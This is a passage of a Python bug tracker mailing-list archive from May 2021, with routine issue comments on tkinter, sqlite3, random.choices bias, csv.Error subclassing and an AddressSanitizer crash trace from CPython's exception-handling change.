<1620543646.94.0.276303367501.issue44080@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:04:01 2021 From: report at bugs.python.org (Zachary Ware) Date: Sun, 09 May 2021 07:04:01 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620543841.47.0.206542000736.issue41730@roundup.psfhosted.org> Zachary Ware added the comment: Fixed in GH-26005 and GH-26006, which just revert the test. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:17:15 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 09 May 2021 07:17:15 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620544635.71.0.842018710581.issue44083@roundup.psfhosted.org> Eric V. Smith added the comment: This is almost certainly not a bug in python. You're probably entering an empty string for "a". Try it without using input(). For example, replace lines 2 and 3 with: a = "3" b = "4" ---------- nosy: +eric.smith status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:19:02 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 09 May 2021 07:19:02 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620544742.49.0.368820623582.issue44083@roundup.psfhosted.org> Eric V. Smith added the comment: Also: How are you executing this code? From IDLE? From the command line? ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:19:50 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 09 May 2021 07:19:50 +0000 Subject: [issue41730] Show deprecation warnings for tkinter.tix In-Reply-To: <1599364490.99.0.633496777395.issue41730@roundup.psfhosted.org> Message-ID: <1620544790.18.0.142274195357.issue41730@roundup.psfhosted.org> miss-islington added the comment: New changeset c3eb3c18f1472b739db486c99f7f2125c4809680 by Miss Islington (bot) in branch '3.10': Revert test for Tix deprecation warning (GH-26005) https://github.com/python/cpython/commit/c3eb3c18f1472b739db486c99f7f2125c4809680 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:22:12 2021 From: report at bugs.python.org (Pierre Quentel) Date: Sun, 09 May 2021 07:22:12 +0000 Subject: [issue44085] Remaining invalid rules in simplified grammar Message-ID: <1620544932.02.0.824367979604.issue44085@roundup.psfhosted.org> New submission from Pierre Quentel : In the simplified version of Python grammar at https://docs.python.org/3.10/reference/grammar.html, most 'invalid_' from the complete grammar at https://github.com/python/cpython/blob/3.10/Grammar/python.gram have been removed, but 2 of them remain : primary: | invalid_primary # must be before 'primay genexp' because of invalid_genexp dict: | '{' invalid_double_starred_kvpairs '}' I suppose that the simplified version is extracted from the complete grammar with a program, and this program doesn't detect the 'invalid_' that don't end the line, since these 2 occurrences correspond to the only such lines in the complete grammar primary[expr_ty]: | invalid_primary # must be before 'primay genexp' because of invalid_genexp dict[expr_ty]: | '{' invalid_double_starred_kvpairs '}' Also note the typo in the comment : 'primay genexp' instead of 'primary genexp' ---------- assignee: docs at python components: Documentation messages: 393306 nosy: docs at python, quentel priority: normal severity: normal status: open title: Remaining invalid rules in simplified grammar versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 03:22:44 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 09 May 2021 07:22:44 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620544964.39.0.966531615759.issue44083@roundup.psfhosted.org> Shreyan Avigyan added the comment: What is the input are you expecting? int can only convert string with only numbers like "10" or "2" not "10 abc" or "2 abc". ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 04:09:32 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Sun, 09 May 2021 08:09:32 +0000 Subject: [issue44086] py.svg not found on search result page Message-ID: <1620547772.17.0.508053866958.issue44086@roundup.psfhosted.org> New submission from J?rgen Gmach : repro: - go to docs (Python 3.11) - open dev console in browser - search for e.g ."xml rpc" -> 404 py.svg not found or open dev console and got to this URL directly: https://docs.python.org/3.11/search.html?q=xml+rpc P.S.: No 404 for the docs on 3.10 ---------- assignee: docs at python components: Documentation files: Screenshot from 2021-05-09 10-04-17.png messages: 393308 nosy: docs at python, jugmac00 priority: normal severity: normal status: open title: py.svg not found on search result page versions: Python 3.11 Added file: https://bugs.python.org/file50027/Screenshot from 2021-05-09 10-04-17.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 04:10:08 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 09 May 2021 08:10:08 +0000 Subject: [issue39228] traceback.FrameSummary does not handle exceptions from `repr()` In-Reply-To: <1578284065.37.0.657086816746.issue39228@roundup.psfhosted.org> Message-ID: <1620547808.17.0.858184541493.issue39228@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- nosy: -terry.reedy versions: +Python 3.11 -Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 04:17:00 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 08:17:00 +0000 Subject: [issue22956] Improved support for prepared SQL statements In-Reply-To: <1417095519.92.0.197896622793.issue22956@psf.upfronthosting.co.za> Message-ID: <1620548220.41.0.153714200843.issue22956@roundup.psfhosted.org> Erlend E. Aasland added the comment: As Gerhard said in msg233384, there is already a statement cache. sqlite3_prepare_v2() is only called if the statement is not found in the cache. Current behaviour: >>> import sqlite3 >>> cx = sqlite3.connect(":memory:") >>> cu = cx.cursor() >>> cu.execute("select 1") # sqlite3_prepare_v2() called >>> cu.execute("select 1") # sqlite3_prepare_v2() is _not_ called Suggesting to close this issue. ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 04:17:58 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 08:17:58 +0000 Subject: [issue22956] Improved support for prepared SQL statements In-Reply-To: <1417095519.92.0.197896622793.issue22956@psf.upfronthosting.co.za> Message-ID: <1620548278.77.0.434339855272.issue22956@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 04:18:09 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 08:18:09 +0000 Subject: [issue22956] Improved support for prepared SQL statements In-Reply-To: <1417095519.92.0.197896622793.issue22956@psf.upfronthosting.co.za> Message-ID: <1620548289.96.0.395941206758.issue22956@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 04:28:09 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 08:28:09 +0000 Subject: [issue44087] [sqlite3] consider adding Py_TPFLAGS_DISALLOW_INSTANTIATION to sqlite3.Statement Message-ID: <1620548889.46.0.572288085506.issue44087@roundup.psfhosted.org> New submission from Erlend E. Aasland : Currently, the sqlite3.Statement type is not exposed in the module dict: >>> import sqlite3 >>> sqlite3.Statement Traceback (most recent call last): File "", line 1, in File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sqlite3/__init__.py", line 37, in __getattr__ raise AttributeError(f"module 'sqlite3' has no attribute '{name}'") AttributeError: module 'sqlite3' has no attribute 'Statement' It is possible to extract it using this trick: >>> cx = sqlite3.connect(":memory:") >>> stmt = cx("select 1") >>> type(stmt) >>> type(stmt)() There is no use case for this; statement objects belong to the internal workings of the sqlite3 module. I suggest adding Py_TPFLAGS_DISALLOW_INSTANTIATION to make this fact more explicit. ---------- keywords: easy (C) messages: 393310 nosy: berker.peksag, erlendaasland, serhiy.storchaka priority: normal severity: normal status: open title: [sqlite3] consider adding Py_TPFLAGS_DISALLOW_INSTANTIATION to sqlite3.Statement type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 05:24:18 2021 From: report at bugs.python.org (Mohamed) Date: Sun, 09 May 2021 09:24:18 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620552258.68.0.542647201986.issue44076@roundup.psfhosted.org> Mohamed added the comment: I tried the following method: class MasterApp(object): def __init__(self, root): .... def fun_astinfo_add(self): ... assetinfo_lst.append(lst_values) ... MasterApp(root) ... if __name__ == "__main__": root = Tk() App = MasterApp(root) root.mainloop() The program works properly, but the screen disappears and then reappears. Which means, that mainloop() works in the first time, and when there is any change in the data, it does not work. Reinstalling Tkinter is the right solution? Will it work? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 05:46:03 2021 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 09 May 2021 09:46:03 +0000 Subject: [issue44080] Bias in random.choices(long_sequence) In-Reply-To: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org> Message-ID: <1620553563.14.0.594649128313.issue44080@roundup.psfhosted.org> Mark Dickinson added the comment: This is similar to #9025 (for randrange), and in principle the random.choices case without explicit weights could be fixed similarly. But I'm not sure it's worth it, for a couple of reasons: - The problem only really affects "virtual" population sequences like ``range``, where the actual population isn't realised in memory. For populations in list form, in practice the population size will be limited to a few billion, and I think you'd be hard pushed to demonstrate statistically detectable bias at that size. (That is, my claim is that it would be essentially impossible to distinguish the existing "random.choices" implementation from a "fixed" unbiased version based on inputs and outputs alone.) - The speed of random.choices is a particular selling point - we don't have anything else in the random module that lets you generate millions of variates at once. I'd expect replacing `floor(random() * n)` with `self._randbelow(n)` to cause a significant speed regression. - For explicit weights, there isn't a practical route to handling those that doesn't involve use of floating-point in general, so for those we have to accept some tiny bias anyway. (Yes, we could technically do something unbiased for the case of integer-only weights, but that seems like significant work for a special case that I'd expect just doesn't matter that much in practice.) And again in this case, the weights list will usually be a "real" list, so we're again limited to populations of a few billion and it'll be hard to demonstrate statistically detectable bias. @Dennis: for interests sake, do you have bandwidth to do some timings of the current "[population[floor(random() * n)] for i in _repeat(None, k)]" versus something like "[population[_randbelow(n)] for i in _repeat(None, k)]" (after putting "_randbelow = self._randbelow" to save an attribute lookup on each iteration)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 06:09:14 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 09 May 2021 10:09:14 +0000 Subject: [issue30076] Opcode names BUILD_MAP_UNPACK_WITH_CALL and BUILD_TUPLE_UNPACK_WITH_CALL are too long In-Reply-To: <1492277239.5.0.348724747458.issue30076@psf.upfronthosting.co.za> Message-ID: <1620554954.84.0.381981163449.issue30076@roundup.psfhosted.org> Ken Jin added the comment: Serhiy, may I close this issue please? Since 3.10, those long opcodes no longer exist. Issue39320 removed BUILD_TUPLE_UNPACK_WITH_CALL and BUILD_MAP_UNPACK_WITH_CALL from the compiler. The new opcodes have shorter names. ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 06:27:50 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 09 May 2021 10:27:50 +0000 Subject: [issue29468] zipfile should catch ValueError as well as OSError to detect bad seek calls In-Reply-To: <1486437245.45.0.651838453816.issue29468@psf.upfronthosting.co.za> Message-ID: <1620556070.16.0.0620197206663.issue29468@roundup.psfhosted.org> Irit Katriel added the comment: Maybe a better option is to change mmap's seek() to raise an OSError, because it's supposed to behave like a file object. ---------- nosy: +iritkatriel versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 06:32:49 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sun, 09 May 2021 10:32:49 +0000 Subject: [issue42454] Move slice creation to the compiler for constants In-Reply-To: <1606237897.31.0.957567165008.issue42454@roundup.psfhosted.org> Message-ID: <1620556369.84.0.218168770367.issue42454@roundup.psfhosted.org> Batuhan Taskaya added the comment: I've implemented a new revision that works without making slices hashable. Updating PR 23496 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 07:16:36 2021 From: report at bugs.python.org (Swarnila Chakma) Date: Sun, 09 May 2021 11:16:36 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620558996.8.0.282679076827.issue44083@roundup.psfhosted.org> Swarnila Chakma added the comment: I'm executing the code by the software PycharmEdu from jetbrains. I'm actually facing the problem, no matter what input I give in my console, it's automatically just printing empty strings. How can I solve this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 07:17:25 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 09 May 2021 11:17:25 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620559045.82.0.497483675269.issue44083@roundup.psfhosted.org> Shreyan Avigyan added the comment: What is the input you're giving? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 07:24:18 2021 From: report at bugs.python.org (Swarnila Chakma) Date: Sun, 09 May 2021 11:24:18 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620559458.73.0.899495772715.issue44083@roundup.psfhosted.org> Swarnila Chakma added the comment: Okay actually I managed to solve it. Thanks to both of you for helping me out. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 07:36:29 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 09 May 2021 11:36:29 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1620560189.3.0.286704498013.issue32133@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 07:44:12 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 09 May 2021 11:44:12 +0000 Subject: [issue44083] problem with updated 3.9.5 In-Reply-To: <1620542226.42.0.805186879507.issue44083@roundup.psfhosted.org> Message-ID: <1620560652.16.0.619099683182.issue44083@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 07:54:38 2021 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 09 May 2021 11:54:38 +0000 Subject: [issue44088] traced line number can be None Message-ID: <1620561278.58.0.87704463996.issue44088@roundup.psfhosted.org> New submission from Ned Batchelder : Mark, I'm not clear if the line number can still be None in some circumstances. With this code (from site.py in the stdlib): 545: def execsitecustomize(): 546: """Run custom site specific code, if available.""" 547: try: 548: try: 549: import sitecustomize 550: except ImportError as exc: 551: if exc.name == 'sitecustomize': 552: pass 553: else: 554: raise 555: except Exception as err: 556: if sys.flags.verbose: 557: sys.excepthook(*sys.exc_info()) 558: else: 559: sys.stderr.write( 560: "Error in sitecustomize; set PYTHONVERBOSE for traceback:\n" 561: "%s: %s\n" % 562: (err.__class__.__name__, err)) I get traces with these events and line numbers: exception 549 (ModuleNotFoundError("No module named 'sitecustomize'")) line 550 line 551 line 552 return None Is this what you expected? ---------- assignee: Mark.Shannon messages: 393319 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: traced line number can be None versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 08:15:42 2021 From: report at bugs.python.org (Oleg Hoefling) Date: Sun, 09 May 2021 12:15:42 +0000 Subject: [issue44089] csv.Error can't be subclassed Message-ID: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> New submission from Oleg Hoefling : Due to changes introduced in https://bugs.python.org/issue14935 the `csv.Error` can't be subclassed in 3.10. To reproduce: Python 3.9.4 (default, Apr 6 2021, 00:00:00) >>> import csv >>> class C(csv.Error): ... pass Python 3.10.0b1 (default, May 4 2021, 00:00:00) >>> import csv >>> class C(csv.Error): ... pass ... Traceback (most recent call last): File "", line 1, in TypeError: type '_csv.Error' is not an acceptable base type ---------- components: Extension Modules messages: 393320 nosy: hoefling priority: normal severity: normal status: open title: csv.Error can't be subclassed versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 08:20:40 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Sun, 09 May 2021 12:20:40 +0000 Subject: [issue44089] csv.Error can't be subclassed In-Reply-To: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> Message-ID: <1620562840.05.0.669235513893.issue44089@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 10:54:08 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 09 May 2021 14:54:08 +0000 Subject: [issue44089] csv.Error can't be subclassed In-Reply-To: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> Message-ID: <1620572048.89.0.406761293766.issue44089@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch nosy: +kj nosy_count: 2.0 -> 3.0 pull_requests: +24659 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26008 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 10:54:47 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 09 May 2021 14:54:47 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620572087.87.0.200677230601.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This seems to have broken the address sanitizer buildbot: https://buildbot.python.org/all/#/builders/582/builds/116/steps/5/logs/stdio Example error: ================================================================ ==28597==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000011cbd at pc 0x55e7e3cceedc bp 0x7ffc74448490 sp 0x7ffc74448480 READ of size 1 at 0x604000011cbd thread T0 #0 0x55e7e3cceedb in skip_to_next_entry Python/ceval.c:4798 #1 0x55e7e3cceedb in get_exception_handler Python/ceval.c:4866 #2 0x55e7e3cceedb in _PyEval_EvalFrameDefault Python/ceval.c:4465 #3 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #4 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #5 0x55e7e3d1922e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #6 0x55e7e3d1922e in object_vacall Objects/call.c:734 #7 0x55e7e3d1ec50 in _PyObject_CallMethodIdObjArgs Objects/call.c:825 #8 0x55e7e3f49dd7 in import_find_and_load Python/import.c:1499 #9 0x55e7e3f49dd7 in PyImport_ImportModuleLevelObject Python/import.c:1600 #10 0x55e7e3cd839b in import_name Python/ceval.c:6101 #11 0x55e7e3cd839b in _PyEval_EvalFrameDefault Python/ceval.c:3693 #12 0x55e7e3ed09ea in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #13 0x55e7e3ed09ea in _PyEval_Vector Python/ceval.c:5160 #14 0x55e7e3ed09ea in PyEval_EvalCode Python/ceval.c:1136 #15 0x55e7e420b908 in builtin_exec_impl Python/bltinmodule.c:1065 #16 0x55e7e420b908 in builtin_exec Python/clinic/bltinmodule.c.h:371 #17 0x55e7e4196590 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:426 #18 0x55e7e3d1a592 in PyVectorcall_Call Objects/call.c:255 #19 0x55e7e3cd15f4 in do_call_core Python/ceval.c:6028 #20 0x55e7e3cd15f4 in _PyEval_EvalFrameDefault Python/ceval.c:4283 #21 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #22 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #23 0x55e7e3cd424e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #24 0x55e7e3cd424e in PyObject_Vectorcall Include/cpython/abstract.h:123 #25 0x55e7e3cd424e in call_function Python/ceval.c:5976 #26 0x55e7e3cd424e in _PyEval_EvalFrameDefault Python/ceval.c:4187 #27 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #28 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #29 0x55e7e3cd4384 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #30 0x55e7e3cd4384 in PyObject_Vectorcall Include/cpython/abstract.h:123 #31 0x55e7e3cd4384 in call_function Python/ceval.c:5976 #32 0x55e7e3cd4384 in _PyEval_EvalFrameDefault Python/ceval.c:4204 #33 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #34 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #35 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #36 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #37 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #38 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #39 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #40 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #41 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #42 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #43 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #44 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #45 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #46 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #47 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #48 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #49 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #50 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #51 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #52 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #53 0x55e7e3cd424e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #54 0x55e7e3cd424e in PyObject_Vectorcall Include/cpython/abstract.h:123 #55 0x55e7e3cd424e in call_function Python/ceval.c:5976 #56 0x55e7e3cd424e in _PyEval_EvalFrameDefault Python/ceval.c:4187 #57 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #58 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #59 0x55e7e3cd424e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #60 0x55e7e3cd424e in PyObject_Vectorcall Include/cpython/abstract.h:123 #61 0x55e7e3cd424e in call_function Python/ceval.c:5976 #62 0x55e7e3cd424e in _PyEval_EvalFrameDefault Python/ceval.c:4187 #63 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #64 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #65 0x55e7e3cd71ad in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #66 0x55e7e3cd71ad in PyObject_Vectorcall Include/cpython/abstract.h:123 #67 0x55e7e3cd71ad in call_function Python/ceval.c:5976 #68 0x55e7e3cd71ad in _PyEval_EvalFrameDefault Python/ceval.c:4237 #69 0x55e7e3ed09ea in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #70 0x55e7e3ed09ea in _PyEval_Vector Python/ceval.c:5160 #71 0x55e7e3ed09ea in PyEval_EvalCode Python/ceval.c:1136 #72 0x55e7e420b908 in builtin_exec_impl Python/bltinmodule.c:1065 #73 0x55e7e420b908 in builtin_exec Python/clinic/bltinmodule.c.h:371 #74 0x55e7e4196590 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:426 #75 0x55e7e3d1a592 in PyVectorcall_Call Objects/call.c:255 #76 0x55e7e3cd15f4 in do_call_core Python/ceval.c:6028 #77 0x55e7e3cd15f4 in _PyEval_EvalFrameDefault Python/ceval.c:4283 #78 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #79 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #80 0x55e7e3cd424e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #81 0x55e7e3cd424e in PyObject_Vectorcall Include/cpython/abstract.h:123 #82 0x55e7e3cd424e in call_function Python/ceval.c:5976 #83 0x55e7e3cd424e in _PyEval_EvalFrameDefault Python/ceval.c:4187 #84 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #85 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #86 0x55e7e3cd4384 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #87 0x55e7e3cd4384 in PyObject_Vectorcall Include/cpython/abstract.h:123 #88 0x55e7e3cd4384 in call_function Python/ceval.c:5976 #89 0x55e7e3cd4384 in _PyEval_EvalFrameDefault Python/ceval.c:4204 #90 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #91 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #92 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #93 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #94 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #95 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #96 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #97 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #98 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #99 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #100 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #101 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #102 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #103 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #104 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #105 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #106 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #107 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #108 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #109 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #110 0x55e7e3cd424e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #111 0x55e7e3cd424e in PyObject_Vectorcall Include/cpython/abstract.h:123 #112 0x55e7e3cd424e in call_function Python/ceval.c:5976 #113 0x55e7e3cd424e in _PyEval_EvalFrameDefault Python/ceval.c:4187 #114 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #115 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #116 0x55e7e3cd424e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #117 0x55e7e3cd424e in PyObject_Vectorcall Include/cpython/abstract.h:123 #118 0x55e7e3cd424e in call_function Python/ceval.c:5976 #119 0x55e7e3cd424e in _PyEval_EvalFrameDefault Python/ceval.c:4187 #120 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #121 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #122 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #123 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #124 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #125 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #126 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #127 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #128 0x55e7e3cd71ad in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #129 0x55e7e3cd71ad in PyObject_Vectorcall Include/cpython/abstract.h:123 #130 0x55e7e3cd71ad in call_function Python/ceval.c:5976 #131 0x55e7e3cd71ad in _PyEval_EvalFrameDefault Python/ceval.c:4237 #132 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #133 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #134 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #135 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #136 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #137 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #138 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #139 0x55e7e3ed10d7 in _PyEval_Vector 